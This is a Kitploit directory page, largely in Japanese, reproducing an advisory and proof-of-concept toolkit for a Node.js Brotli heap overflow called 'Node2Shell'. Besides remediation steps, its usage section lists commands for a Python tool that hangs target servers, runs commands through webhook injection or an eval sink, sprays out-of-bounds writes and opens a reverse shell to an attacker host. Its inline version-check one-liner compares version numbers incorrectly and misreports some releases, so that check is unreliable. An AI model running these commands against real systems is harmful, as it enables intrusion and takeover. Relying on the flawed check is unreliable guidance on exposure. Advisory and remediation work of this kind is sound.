Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-111497 — CVE-2026-111497(Node2Shell)に関するアドバイザリと概念実証ツールキットです。Node.jsにおけるBrotliヒープオーバーフローであり、トリガースクリプト、バージョンチェッカー、および修復ガイダンスを含みます。 | Kitploit
ツール/GitHubGitHub/0xblackash/cve-2026-111497
防御ツール脆弱性スキャナーペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育リモートアクセスツール
GitHub0xblackash/cve-2026-111497

CVE-2026-111497

CVE-2026-111497(Node2Shell)に関するアドバイザリと概念実証ツールキットです。Node.jsにおけるBrotliヒープオーバーフローであり、トリガースクリプト、バージョンチェッカー、および修復ガイダンスを含みます。

151日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2026-111497 — Node2Shell

Gemini_Generated_Image_i7ii2oi7ii2oi7ii

CVE Badge CVSS Badge Component Badge CWE Badge License

CVE-2026-111497 に関する包括的なセキュリティアドバイザリ、技術分析、および修復ガイド

---

📋 目次

  • エグゼクティブサマリー
  • 技術的詳細
    • 根本原因分析
    • 攻撃ベクトル
    • 影響評価
  • 影響を受けるバージョンと修正済みバージョン
  • 検出と監査
  • 修復とパッチ適用
    • 1. ネイティブランタイムのアップグレード
    • 2. Docker / コンテナレイヤーの修正
  • 緩和策
  • 参考資料とリソース
  • 免責事項

📌 エグゼクティブサマリー

2026年10月に公開された Node2Shell (CVE-2026-111497) は、Node.js ランタイムバイナリに直接バンドルされているネイティブ Brotli 解凍コンポーネントに影響を与える重大なセキュリティ脆弱性です。

この欠陥により、リモート攻撃者は、圧縮入力を処理する任意の Node.js アプリケーション(例: HTTP リクエストボディパーサー、ネイティブの fetch() 呼び出し、WebSocket ストリーム)に対して、細工された不正な Brotli 圧縮バイトストリームを送信することで、任意のコードを実行したり、アプリケーションをクラッシュさせたりすることが可能になります。

⚠️ 重要な注意: 脆弱なコードは Node.js 実行ファイル自体にコンパイルされた deps/brotli 内に存在するため、ユーザー空間の npm 依存関係を更新してもこの脆弱性は緩和されません。Node.js バイナリランタイムを更新する必要があります。


⚙️ 技術的詳細

根本原因分析

  • 欠陥の種類: 戻り値の未チェック (CWE-252) に起因する境界外書き込み (CWE-787)。
  • 脆弱なコンポーネント: Node.js に統合されたアップストリームの Google Brotli デコーダモジュール (deps/brotli)。
  • メカニズム: 不正なストリームを解凍する際、デコーダはストリーム状態遷移中に境界条件を適切に検証できません。これにより、事前に割り当てられたメモリ空間を超えたヒープバッファの破壊が発生します。

攻撃ベクトル

  1. 受信 HTTP リクエスト: 自動ボディ解凍 (Content-Encoding: br) が設定されたフレームワークやミドルウェア(例: Express、Fastify)。
  2. 送信 / 受信 Fetch API: 圧縮コンテンツを配信する信頼できないサードパーティエンドポイントからの自動応答を処理するネイティブ fetch()。
  3. 内部ストリームパイプライン: zlib.createBrotliDecompress() を利用したカスタム Node.js ストリーム。

影響評価

  • サービス拒否 (DoS): セグメンテーションフォールト (SIGSEGV) の確実な実行により、ワーカープロセスが即座にクラッシュします。
  • 情報漏洩: 制御されていないヒープ読み取りにより、プロセスメモリにキャッシュされた機密トークンや環境変数が露出します。
  • リモートコード実行 (RCE): 標準的な未修正のコンテナデプロイメントにおいて、プロセスの実行フローを完全に制御できるヒープメモリ破壊が実証されています。

📊 影響を受けるバージョンと修正済みバージョン

Node.js リリースラインステータス修正バージョン必要な対応
Node.js 26.x⚠️ 脆弱>= 26.12.1直ちにアップグレード
Node.js 24.x⚠️ 脆弱>= 24.22.1直ちにアップグレード
Node.js 22.x (LTS)⚠️ 脆弱>= 22.23.4直ちにアップグレード
Node.js 20.x 以前❌ EOLなしサポート対象の LTS へ直ちに移行

🚨 EOL 警告: Node.js 20 は 2026年4月に End-of-Life (EOL) を迎えました。EOL バージョンには公式のセキュリティバックポートは提供されません。


安全確認スクリプト

安全チェッカーが正しく動作したときに表示される内容は、正確には次のとおりです。

1. パッチ適用済み / 修正済みの Node.js (良好な結果)

$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.

Current Node.js version : v24.22.1
Brotli constant present : yes (-17) → patched decoder

───────────────────────────────────────────────────────
Verdict: PATCHED
You are running a fixed release of the 24.x line.

Additional notes:
• The constant check is the most reliable signal when Node.js ships
  its own (statically linked) Brotli. On some Linux distros Node may
  use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1

2. 脆弱な Node.js(悪い結果)

$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.

Current Node.js version : v24.22.0
Brotli constant present : no / missing → likely vulnerable decoder

───────────────────────────────────────────────────────
Verdict: VULNERABLE
Upgrade to Node.js 24.22.1 or later in the 24.x line.

Additional notes:
• The constant check is the most reliable signal when Node.js ships
  its own (statically linked) Brotli. On some Linux distros Node may
  use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1

3. サポート終了バージョン(これも脆弱)

Current Node.js version : v20.18.0
Brotli constant present : no / missing → likely vulnerable decoder

Verdict: VULNERABLE (EOL / UNSUPPORTED)
This release line is end-of-life or never received the security fix.
Migrate to a supported LTS line (22.x, 24.x or 26.x) and use a patched version.

定数を自分で確認する簡単な方法

次のワンライナーを実行することでも確認できます:

node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH ?? 'missing'"
  • -17 を返す → パッチ済み
  • missing を返す → 脆弱

これはスクリプトが使用するのと同じチェックです。


ラボのセットアップ

# Python dependencies
pip install requests brotli

# Node server (webhook injection + eval paths)
npm install
node server-stock.js       # port 3000

使用方法

# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)
python3 Node2Shell.py -u http://TARGET:3000 --hang --path /api/data --timeout 10

# Webhook injection — command injection via execSync(hook) (stock server)
python3 Node2Shell.py -u http://TARGET:3000 --webhook --validate
python3 Node2Shell.py -u http://TARGET:3000 --webhook --cmd "id"
python3 Node2Shell.py -u http://TARGET:3000 --webhook --revshell LHOST LPORT

# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
python Node2Shell.py -u http://TARGET:3000 --oob --path /api/data

# Direct eval mode (server with /api/exec eval sink)
python Node2Shell.py -u http://TARGET --validate
python Node2Shell.py -u http://TARGET --cmd "id"
python Node2Shell.py -u http://TARGET --revshell LHOST LPORT

🔍 検出と監査

システムまたは実行中のコンテナが脆弱なバージョンの Node.js を実行しているかどうかを確認するには、次のコマンドを実行してください:

# Check installed local runtime version
node -v

# Audit running containers across a Kubernetes cluster / Docker environment
docker ps --format '{{.Names}}: {{.Image}}'

あるいは、Linux環境で次のワンライナーを使用して、現在アクティブなNodeランタイムが安全かどうかをテストできます:

node -e '
  const v = process.versions.node.split(".").map(Number);
  const safe = (v[0] === 22 && v[1] >= 23 && v[2] >= 4) ||
               (v[0] === 24 && v[1] >= 22 && v[2] >= 1) ||
               (v[0] >= 26 && v[1] >= 12 && v[2] >= 1);
  console.log(safe ? "✅ Runtime is PATCHED" : "❌ Runtime is VULNERABLE");
'

🛠️ 修復とパッチ適用

1. ネイティブランタイムのアップグレード

NVM (Node Version Manager)

nvm install 22.23.4
nvm alias default 22.23.4
nvm use 22.23.4

Ubuntu / Debian (NodeSource)

sudo apt-get update
sudo apt-get install --only-upgrade nodejs

2. Docker / コンテナレイヤーの修正

明示的にパッチ適用済みのベースイメージタグを取得するように Dockerfile を更新します:

# ❌ VULNERABLE
FROM node:22-alpine

# ✅ PATCHED
FROM node:22.23.4-alpine

ローカルのコンテナビルドキャッシュをクリアして、キャッシュされた脆弱なベースレイヤーが使用されないようにします:

docker pull node:22.23.4-alpine
docker build --no-cache -t my-app:latest .


🛡️ 緩和策

ツールをダウンロード